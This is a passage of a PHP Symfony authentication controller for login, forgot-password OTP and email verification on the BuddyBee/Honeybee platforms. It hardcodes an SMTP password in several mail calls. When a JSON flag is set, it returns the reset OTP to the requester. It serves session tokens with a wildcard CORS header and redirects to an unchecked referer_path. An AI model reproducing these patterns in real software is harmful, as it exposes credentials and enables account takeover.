  7763.                                                 'userTypeName' => $userTypeName
  7764.                                             )
  7765.                                         )
  7766.                                     ),
  7767.                                     'userCompanyList' => [
  7768.                                     ]
  7769.                                 );
  7770.                                 $accessList[] = $d;
  7771.                             }
  7772.                         }
  7773.                     }
  7774.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7775.                     $session_data['userAccessList'] = $accessList;
  7776.                     $session->set('userAccessList'json_encode($accessList));
  7777.                     $session_data $this->filterClientSessionData($session_data);
  7778.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7779.                     $session_data $tokenData['sessionData'];
  7780.                     $token $tokenData['token'];
  7781.                     $session->set('token'$token);
  7782.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7783.                         $session->set('remoteVerified'1);
  7784.                         $response = new JsonResponse(array(
  7785.                             'token' => $token,
  7786.                             'uid' => $session->get(UserConstants::USER_ID),
  7787.                             'session' => $session,
  7788.                             'success' => true,
  7789.                             'session_data' => $session_data,
  7790.                         ));
  7791.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7792.                         return $response;
  7793.                     }
  7794.                     if ($request->request->has('referer_path')) {
  7795.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7796.                             return $this->redirect($request->request->get('referer_path'));
  7797.                         }
  7798.                     }
  7799.                     $redirectRoute 'applicant_dashboard';
  7800.                     if ($request->query->has('encData')) {
  7801.                         if ($request->query->get('encData') == '8917922')
  7802.                             $redirectRoute 'apply_for_consultant';
  7803.                     }
  7804.                     return $this->redirectToRoute($redirectRoute);
  7805.                 }
  7806. //                    $response = new JsonResponse(array(
  7807. //                        'token' => $token,
  7808. //                        'uid' => $session->get(UserConstants::USER_ID),
  7809. //                        'session' => $session,
  7810. //
  7811. //                        'success' => true,
  7812. //                        'session_data' => $session_data,
  7813. //
  7814. //                    ));
  7815. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7816. //                    return $response;
  7817. //                    return $this->redirectToRoute("user_login", [
  7818. //                        'id' => $isApplicantExist->getApplicantId(),
  7819. //                        'oAuthData' => $oAuthData,
  7820. //                        'encData' => $encData,
  7821. //                        'locale' => $request->request->get('locale', 'en'),
  7822. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7823. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7824. //                    ]);
  7825.             }
  7826.         }
  7827.         $selector BuddybeeConstant::$selector;
  7828.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7829.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7830.         if ($systemType == '_ERP_') {
  7831.         } else if ($systemType == '_SOPHIA_') {
  7832.             return $this->render(
  7833.                 '@Sophia/pages/views/sofia_login.html.twig',
  7834.                 [
  7835.                     'page_title' => 'Sophia Login',
  7836.                     'oAuthLink' => $google_client->createAuthUrl(),
  7837.                     'redirect_url' => $url,
  7838.                     'message' => $message,
  7839.                     'systemType' => $systemType,
  7840.                     'ownServerId' => $ownServerId,
  7841.                     'errorField' => '',
  7842.                     'encData' => $encData,
  7843.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7844.                     'selector' => $selector,
  7845.                 ]
  7846.             );
  7847.         } else if ($systemType == '_CENTRAL_') {
  7848.             return $this->render(
  7849.                 '@Authentication/pages/views/central_login.html.twig',
  7850.                 [
  7851.                     'page_title' => 'Central Login',
  7852.                     'oAuthLink' => $google_client->createAuthUrl(),
  7853.                     'redirect_url' => $url,
  7854.                     'message' => $message,
  7855.                     'systemType' => $systemType,
  7856.                     'ownServerId' => $ownServerId,
  7857.                     'errorField' => '',
  7858.                     'encData' => $encData,
  7859.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7860.                     'selector' => $selector,
  7861.                 ]
  7862.             );
  7863.         } else if ($systemType == '_BUDDYBEE_') {
  7864.             return $this->render(
  7865.                 '@Authentication/pages/views/applicant_login.html.twig',
  7866.                 [
  7867.                     'page_title' => 'BuddyBee Login',
  7868.                     'oAuthLink' => $google_client->createAuthUrl(),
  7869.                     'redirect_url' => $url,
  7870.                     'message' => $message,
  7871.                     'errorField' => $errorField,
  7872.                     'encData' => $encData,
  7873.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7874.                     'selector' => $selector
  7875.                 ]
  7876.             );
  7877.         }
  7878.         return $this->render(
  7879.             '@Authentication/pages/views/applicant_login.html.twig',
  7880.             [
  7881.                 'page_title' => 'Applicant Registration',
  7882.                 'oAuthLink' => $google_client->createAuthUrl(),
  7883.                 'redirect_url' => $url,
  7884.                 'encData' => $encData,
  7885.                 'message' => $message,
  7886.                 'errorField' => $errorField,
  7887.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7888.                 'selector' => $selector
  7889.             ]
  7890.         );
  7891.     }
  7892.     public function FindAccountAction(Request $request$encData ''$remoteVerify 0)
  7893.     {
  7894. //        $userCategory=$request->request->has('userCategory');
  7895.         $encryptedData = [];
  7896.         $errorField '';
  7897.         $message '';
  7898.         $userType '';
  7899.         $otpExpireSecond 180;
  7900.         $otpExpireTs 0;
  7901.         $otp '';
  7902.         if ($encData != '')
  7903.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  7904. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  7905.         $userCategory '_BUDDYBEE_USER_';
  7906.         if (isset($encryptedData['userCategory']))
  7907.             $userCategory $encryptedData['userCategory'];
  7908.         else
  7909.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  7910.         $em $this->getDoctrine()->getManager('company_group');
  7911.         $em_goc $this->getDoctrine()->getManager('company_group');
  7912.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7913.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7914.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  7915.         $twigData = [];
  7916.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  7917.         $email_address $request->request->get('email''');
  7918.         $email_twig_data = [];
  7919.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  7920.         if ($request->isMethod('POST')) {
  7921.             //set an otp and its expire and send mail
  7922.             $email_address $request->request->get('email');
  7923.             $userObj null;
  7924.             $userData = [];
  7925.             if ($systemType == '_ERP_') {
  7926.                 if ($userCategory == '_APPLICANT_') {
  7927.                     $userType UserConstants::USER_TYPE_APPLICANT;
  7928.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7929.                         array(
  7930.                             'email' => $email_address
  7931.                         )
  7932.                     );
  7933.                     if ($userObj) {
  7934.                     } else {
  7935.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7936.                             array(
  7937.                                 'oAuthEmail' => $email_address
  7938.                             )
  7939.                         );
  7940.                         if ($userObj) {
  7941.                         } else {
  7942.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7943.                                 array(
  7944.                                     'username' => $email_address
  7945.                                 )
  7946.                             );
  7947.                         }
  7948.                     }
  7949.                     if ($userObj) {
  7950.                         $email_address $userObj->getEmail();
  7951.                         if ($email_address == null || $email_address == '')
  7952.                             $email_address $userObj->getOAuthEmail();
  7953.                     }
  7954. //                    triggerResetPassword:
  7955. //                    type: integer
  7956. //                          nullable: true
  7957.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  7958.                     $otp $otpData['otp'];
  7959.                     $otpExpireTs $otpData['expireTs'];
  7960.                     $userObj->setOtp($otpData['otp']);
  7961.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  7962.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  7963.                     $em_goc->flush();
  7964.                     $userData = array(
  7965.                         'id' => $userObj->getApplicantId(),
  7966.                         'email' => $email_address,
  7967.                         'appId' => 0,
  7968. //                        'appId'=>$userObj->getUserAppId(),
  7969.                     );
  7970.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  7971.                     $email_twig_data = [
  7972.                         'page_title' => 'Find Account',
  7973.                         'encryptedData' => $encryptedData,
  7974.                         'message' => $message,
  7975.                         'userType' => $userType,
  7976.                         'errorField' => $errorField,
  7977.                         'otp' => $otpData['otp'],
  7978.                         'otpExpireSecond' => $otpExpireSecond,
  7979.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  7980.                         'otpExpireTs' => $otpData['expireTs'],
  7981.                         'systemType' => $systemType,
  7982.                         'userData' => $userData
  7983.                     ];
  7984.                     if ($userObj)
  7985.                         $email_twig_data['success'] = true;
  7986.                 } else {
  7987.                     $userType UserConstants::USER_TYPE_GENERAL;
  7988.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  7989.                     $email_twig_data = [
  7990.                         'page_title' => 'Find Account',
  7991.                         'encryptedData' => $encryptedData,
  7992.                         'message' => $message,
  7993.                         'userType' => $userType,
  7994.                         'errorField' => $errorField,
  7995.                     ];
  7996.                 }
  7997.             } else if ($systemType == '_CENTRAL_') {
  7998.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7999.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8000.                     array(
  8001.                         'email' => $email_address
  8002.                     )
  8003.                 );
  8004.                 if ($userObj) {
  8005.                 } else {
  8006.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8007.                         array(
  8008.                             'oAuthEmail' => $email_address
  8009.                         )
  8010.                     );
  8011.                     if ($userObj) {
  8012.                     } else {
  8013.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8014.                             array(
  8015.                                 'username' => $email_address
  8016.                             )
  8017.                         );
  8018.                     }
  8019.                 }
  8020.                 if ($userObj) {
  8021.                     $email_address $userObj->getEmail();
  8022.                     if ($email_address == null || $email_address == '')
  8023.                         $email_address $userObj->getOAuthEmail();
  8024.                     //                    triggerResetPassword:
  8025. //                    type: integer
  8026. //                          nullable: true
  8027.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8028.                     $otp $otpData['otp'];
  8029.                     $otpExpireTs $otpData['expireTs'];
  8030.                     $userObj->setOtp($otpData['otp']);
  8031.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8032.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8033.                     $em_goc->flush();
  8034.                     $userData = array(
  8035.                         'id' => $userObj->getApplicantId(),
  8036.                         'email' => $email_address,
  8037.                         'appId' => 0,
  8038.                         'image' => $userObj->getImage(),
  8039.                         'firstName' => $userObj->getFirstname(),
  8040.                         'lastName' => $userObj->getLastname(),
  8041.                         'phone' => $userObj->getPhone(),
  8042. //                        'appId'=>$userObj->getUserAppId(),
  8043.                     );
  8044.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8045.                     $email_twig_data = [
  8046.                         'page_title' => 'Find Account',
  8047.                         'encryptedData' => $encryptedData,
  8048.                         'message' => $message,
  8049.                         'userType' => $userType,
  8050.                         'errorField' => $errorField,
  8051.                         'otp' => $otpData['otp'],
  8052.                         'otpExpireSecond' => $otpExpireSecond,
  8053.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8054.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8055.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8056.                         'otpExpireTs' => $otpData['expireTs'],
  8057.                         'systemType' => $systemType,
  8058.                         'userCategory' => $userCategory,
  8059.                         'userData' => $userData
  8060.                     ];
  8061.                     $email_twig_data['success'] = true;
  8062.                 } else {
  8063.                     $message "Oops! Could not find your account";
  8064.                     $email_twig_data['success'] = false;
  8065.                 }
  8066.             } else if ($systemType == '_BUDDYBEE_') {
  8067.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8068.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8069.                     array(
  8070.                         'email' => $email_address
  8071.                     )
  8072.                 );
  8073.                 if ($userObj) {
  8074.                 } else {
  8075.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8076.                         array(
  8077.                             'oAuthEmail' => $email_address
  8078.                         )
  8079.                     );
  8080.                     if ($userObj) {
  8081.                     } else {
  8082.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8083.                             array(
  8084.                                 'username' => $email_address
  8085.                             )
  8086.                         );
  8087.                     }
  8088.                 }
  8089.                 if ($userObj) {
  8090.                     $email_address $userObj->getEmail();
  8091.                     if ($email_address == null || $email_address == '')
  8092.                         $email_address $userObj->getOAuthEmail();
  8093.                     //                    triggerResetPassword:
  8094. //                    type: integer
  8095. //                          nullable: true
  8096.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8097.                     $otp $otpData['otp'];
  8098.                     $otpExpireTs $otpData['expireTs'];
  8099.                     $userObj->setOtp($otpData['otp']);
  8100.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8101.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8102.                     $em_goc->flush();
  8103.                     $userData = array(
  8104.                         'id' => $userObj->getApplicantId(),
  8105.                         'email' => $email_address,
  8106.                         'appId' => 0,
  8107.                         'image' => $userObj->getImage(),
  8108.                         'firstName' => $userObj->getFirstname(),
  8109.                         'lastName' => $userObj->getLastname(),
  8110.                         'phone' => $userObj->getPhone(),
  8111. //                        'appId'=>$userObj->getUserAppId(),
  8112.                     );
  8113.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8114.                     $email_twig_data = [
  8115.                         'page_title' => 'Find Account',
  8116.                         'encryptedData' => $encryptedData,
  8117.                         'message' => $message,
  8118.                         'userType' => $userType,
  8119.                         'errorField' => $errorField,
  8120.                         'otp' => $otpData['otp'],
  8121.                         'otpExpireSecond' => $otpExpireSecond,
  8122.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8123.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8124.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8125.                         'otpExpireTs' => $otpData['expireTs'],
  8126.                         'systemType' => $systemType,
  8127.                         'userCategory' => $userCategory,
  8128.                         'userData' => $userData
  8129.                     ];
  8130.                     $email_twig_data['success'] = true;
  8131.                 } else {
  8132.                     $message "Oops! Could not find your account";
  8133.                     $email_twig_data['success'] = false;
  8134.                 }
  8135.             }
  8136.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8137.                 if ($systemType == '_BUDDYBEE_') {
  8138.                     $bodyHtml '';
  8139.                     $bodyTemplate $email_twig_file;
  8140.                     $bodyData $email_twig_data;
  8141.                     $attachments = [];
  8142.                     $forwardToMailAddress $email_address;
  8143. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8144.                     $new_mail $this->get('mail_module');
  8145.                     $new_mail->sendMyMail(array(
  8146.                         'senderHash' => '_CUSTOM_',
  8147.                         //                        'senderHash'=>'_CUSTOM_',
  8148.                         'forwardToMailAddress' => $forwardToMailAddress,
  8149.                         'subject' => 'Account Verification',
  8150. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8151.                         'attachments' => $attachments,
  8152.                         'toAddress' => $forwardToMailAddress,
  8153.                         'fromAddress' => 'no-reply@buddybee.eu',
  8154.                         'userName' => 'no-reply@buddybee.eu',
  8155.                         'password' => 'Honeybee@0112',
  8156.                         'smtpServer' => 'smtp.hostinger.com',
  8157.                         'smtpPort' => 465,
  8158. //                            'emailBody' => $bodyHtml,
  8159.                         'mailTemplate' => $bodyTemplate,
  8160.                         'templateData' => $bodyData,
  8161. //                        'embedCompanyImage' => 1,
  8162. //                        'companyId' => $companyId,
  8163. //                        'companyImagePath' => $company_data->getImage()
  8164.                     ));
  8165.                 } else if ($systemType == '_CENTRAL_') {
  8166.                     $bodyHtml '';
  8167.                     $bodyTemplate $email_twig_file;
  8168.                     $bodyData $email_twig_data;
  8169.                     $attachments = [];
  8170.                     $forwardToMailAddress $email_address;
  8171. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8172.                     $new_mail $this->get('mail_module');
  8173.                     $new_mail->sendMyMail(array(
  8174.                         'senderHash' => '_CUSTOM_',
  8175.                         //                        'senderHash'=>'_CUSTOM_',
  8176.                         'forwardToMailAddress' => $forwardToMailAddress,
  8177.                         'subject' => 'Account Verification',
  8178. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8179.                         'attachments' => $attachments,
  8180.                         'toAddress' => $forwardToMailAddress,
  8181.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8182.                         'userName' => 'accounts@ourhoneybee.eu',
  8183.                         'password' => 'Honeybee@0112',
  8184.                         'smtpServer' => 'smtp.hostinger.com',
  8185.                         'smtpPort' => 465,
  8186. //                            'emailBody' => $bodyHtml,
  8187.                         'mailTemplate' => $bodyTemplate,
  8188.                         'templateData' => $bodyData,
  8189. //                        'embedCompanyImage' => 1,
  8190. //                        'companyId' => $companyId,
  8191. //                        'companyImagePath' => $company_data->getImage()
  8192.                     ));
  8193.                 } else {
  8194.                     $bodyHtml '';
  8195.                     $bodyTemplate $email_twig_file;
  8196.                     $bodyData $email_twig_data;
  8197.                     $attachments = [];
  8198.                     $forwardToMailAddress $email_address;
  8199. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8200.                     $new_mail $this->get('mail_module');
  8201.                     $new_mail->sendMyMail(array(
  8202.                         'senderHash' => '_CUSTOM_',
  8203.                         //                        'senderHash'=>'_CUSTOM_',
  8204.                         'forwardToMailAddress' => $forwardToMailAddress,
  8205.                         'subject' => 'Applicant Registration on Honeybee',
  8206. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8207.                         'attachments' => $attachments,
  8208.                         'toAddress' => $forwardToMailAddress,
  8209.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8210.                         'userName' => 'accounts@ourhoneybee.eu',
  8211.                         'password' => 'Honeybee@0112',
  8212.                         'smtpServer' => 'smtp.hostinger.com',
  8213.                         'smtpPort' => 465,
  8214.                         'emailBody' => $bodyHtml,
  8215.                         'mailTemplate' => $bodyTemplate,
  8216.                         'templateData' => $bodyData,
  8217. //                        'embedCompanyImage' => 1,
  8218. //                        'companyId' => $companyId,
  8219. //                        'companyImagePath' => $company_data->getImage()
  8220.                     ));
  8221.                 }
  8222.             }
  8223.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8224.                 if ($systemType == '_BUDDYBEE_') {
  8225.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8226.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8227.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8228.                      _APPEND_CODE_';
  8229.                     $msg str_replace($searchVal$replaceVal$msg);
  8230.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8231.                     $sendType 'all';
  8232.                     $socketUserIds = [];
  8233.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8234.                 } else {
  8235.                 }
  8236.             }
  8237.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8238.                 $response = new JsonResponse(array(
  8239.                         'templateData' => $twigData,
  8240.                         'message' => $message,
  8241. //                        "otp"=>'',
  8242.                         "otp" => $otp,
  8243.                         "otpExpireTs" => $otpExpireTs,
  8244.                         'actionData' => $email_twig_data,
  8245.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8246.                     )
  8247.                 );
  8248.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8249.                 return $response;
  8250.             } else if ($email_twig_data['success'] == true) {
  8251.                 $encData = array(
  8252.                     "userType" => $userType,
  8253.                     "otp" => '',
  8254. //                "otp"=>$otp,
  8255.                     "otpExpireTs" => $otpExpireTs,
  8256.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8257.                     "userCategory" => $userCategory,
  8258.                     "userId" => $userData['id'],
  8259.                     "systemType" => $systemType,
  8260.                     "email" => $email_address,
  8261.                 );
  8262.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8263.                 $url $this->generateUrl(
  8264.                     'verify_otp'
  8265.                 );
  8266.                 return $this->redirect($url "/" $encDataStr);
  8267. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8268. ////                    'encData'
  8269. ////                'id' => $isApplicantExist->getApplicantId(),
  8270. ////                'oAuthData' => $oAuthData,
  8271. ////                'refRoute' => $refRoute,
  8272. //                ]);
  8273.             }
  8274.         }
  8275.         if ($systemType == '_ERP_') {
  8276.             if ($userCategory == '_APPLICANT_') {
  8277.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8278.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8279.                 $twigData = [
  8280.                     'page_title' => 'Find Account',
  8281.                     'encryptedData' => $encryptedData,
  8282.                     'message' => $message,
  8283.                     'systemType' => $systemType,
  8284.                     'ownServerId' => $ownServerId,
  8285.                     'userType' => $userType,
  8286.                     'errorField' => $errorField,
  8287.                 ];
  8288.             } else {
  8289.                 $userType UserConstants::USER_TYPE_GENERAL;
  8290.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8291.                 $twigData = [
  8292.                     'page_title' => 'Find Account',
  8293.                     'encryptedData' => $encryptedData,
  8294.                     'systemType' => $systemType,
  8295.                     'ownServerId' => $ownServerId,
  8296.                     'message' => $message,
  8297.                     'userType' => $userType,
  8298.                     'errorField' => $errorField,
  8299.                 ];
  8300.             }
  8301.         } else if ($systemType == '_CENTRAL_') {
  8302.             $userType UserConstants::USER_TYPE_APPLICANT;
  8303.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  8304.             $twigData = [
  8305.                 'page_title' => 'Find Account',
  8306.                 'encryptedData' => $encryptedData,
  8307.                 'systemType' => $systemType,
  8308.                 'ownServerId' => $ownServerId,
  8309.                 "otp" => '',
  8310. //                "otp"=>$otp,
  8311.                 "otpExpireTs" => $otpExpireTs,
  8312.                 'message' => $message,
  8313.                 'userType' => $userType,
  8314.                 'errorField' => $errorField,
  8315.             ];
  8316.         } else if ($systemType == '_BUDDYBEE_') {
  8317.             $userType UserConstants::USER_TYPE_APPLICANT;
  8318.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8319.             $twigData = [
  8320.                 'page_title' => 'Find Account',
  8321.                 'encryptedData' => $encryptedData,
  8322.                 "otp" => '',
  8323.                 'systemType' => $systemType,
  8324.                 'ownServerId' => $ownServerId,
  8325. //                "otp"=>$otp,
  8326.                 "otpExpireTs" => $otpExpireTs,
  8327.                 'message' => $message,
  8328.                 'userType' => $userType,
  8329.                 'errorField' => $errorField,
  8330.             ];
  8331.         }
  8332.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8333.             $response = new JsonResponse(array(
  8334.                     'templateData' => $twigData,
  8335.                     'message' => $message,
  8336.                     "otp" => '',
  8337. //                "otp"=>$otp,
  8338.                     "otpExpireTs" => $otpExpireTs,
  8339.                     'actionData' => $email_twig_data,
  8340.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8341.                 )
  8342.             );
  8343.             $response->headers->set('Access-Control-Allow-Origin''*');
  8344.             return $response;
  8345.         } else {
  8346.             return $this->render(
  8347.                 $twig_file,
  8348.                 $twigData
  8349.             );
  8350.         }
  8351.     }
  8352.     public function VerifyEmailForWebAction(Request $request$encData ''$remoteVerify 0)
  8353.     {
  8354. //        $userCategory=$request->request->has('userCategory');
  8355.         $encryptedData = [];
  8356.         $errorField '';
  8357.         $message '';
  8358.         $userType '';
  8359.         $otpExpireSecond 180;
  8360.         $otpExpireTs 0;
  8361.         $otp '';
  8362.         if ($encData != '')
  8363.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8364. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8365.         $userCategory '_BUDDYBEE_USER_';
  8366.         if (isset($encryptedData['userCategory']))
  8367.             $userCategory $encryptedData['userCategory'];
  8368.         else
  8369.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8370.         $em $this->getDoctrine()->getManager('company_group');
  8371.         $em_goc $this->getDoctrine()->getManager('company_group');
  8372.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8373.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8374.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8375.         $twigData = [];
  8376.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8377.         $email_address $request->request->get('email''');
  8378.         $email_twig_data = [];
  8379.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8380.         if ($request->isMethod('POST')) {
  8381.             //set an otp and its expire and send mail
  8382.             $email_address $request->request->get('email');
  8383.             $userObj null;
  8384.             $userData = [];
  8385.             if ($systemType == '_ERP_') {
  8386.                 if ($userCategory == '_APPLICANT_') {
  8387.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8388.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8389.                         array(
  8390.                             'email' => $email_address
  8391.                         )
  8392.                     );
  8393.                     if ($userObj) {
  8394.                     } else {
  8395.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8396.                             array(
  8397.                                 'oAuthEmail' => $email_address
  8398.                             )
  8399.                         );
  8400.                         if ($userObj) {
  8401.                         } else {
  8402.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8403.                                 array(
  8404.                                     'username' => $email_address
  8405.                                 )
  8406.                             );
  8407.                         }
  8408.                     }
  8409.                     if ($userObj) {
  8410.                         $email_address $userObj->getEmail();
  8411.                         if ($email_address == null || $email_address == '')
  8412.                             $email_address $userObj->getOAuthEmail();
  8413.                     }
  8414. //                    triggerResetPassword:
  8415. //                    type: integer
  8416. //                          nullable: true
  8417.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8418.                     $otp $otpData['otp'];
  8419.                     $otpExpireTs $otpData['expireTs'];
  8420.                     $userObj->setOtp($otpData['otp']);
  8421.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8422.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8423.                     $em_goc->flush();
  8424.                     $userData = array(
  8425.                         'id' => $userObj->getApplicantId(),
  8426.                         'email' => $email_address,
  8427.                         'appId' => 0,
  8428. //                        'appId'=>$userObj->getUserAppId(),
  8429.                     );
  8430.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8431.                     $email_twig_data = [
  8432.                         'page_title' => 'Find Account',
  8433.                         'encryptedData' => $encryptedData,
  8434.                         'message' => $message,
  8435.                         'userType' => $userType,
  8436.                         'errorField' => $errorField,
  8437.                         'otp' => $otpData['otp'],
  8438.                         'otpExpireSecond' => $otpExpireSecond,
  8439.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8440.                         'otpExpireTs' => $otpData['expireTs'],
  8441.                         'systemType' => $systemType,
  8442.                         'userData' => $userData
  8443.                     ];
  8444.                     if ($userObj)
  8445.                         $email_twig_data['success'] = true;
  8446.                 } else {
  8447.                     $userType UserConstants::USER_TYPE_GENERAL;
  8448.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8449.                     $email_twig_data = [
  8450.                         'page_title' => 'Find Account',
  8451.                         'encryptedData' => $encryptedData,
  8452.                         'message' => $message,
  8453.                         'userType' => $userType,
  8454.                         'errorField' => $errorField,
  8455.                     ];
  8456.                 }
  8457.             } else if ($systemType == '_CENTRAL_') {
  8458.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8459.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8460.                     array(
  8461.                         'email' => $email_address
  8462.                     )
  8463.                 );
  8464.                 if ($userObj) {
  8465.                 } else {
  8466.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8467.                         array(
  8468.                             'oAuthEmail' => $email_address
  8469.                         )
  8470.                     );
  8471.                     if ($userObj) {
  8472.                     } else {
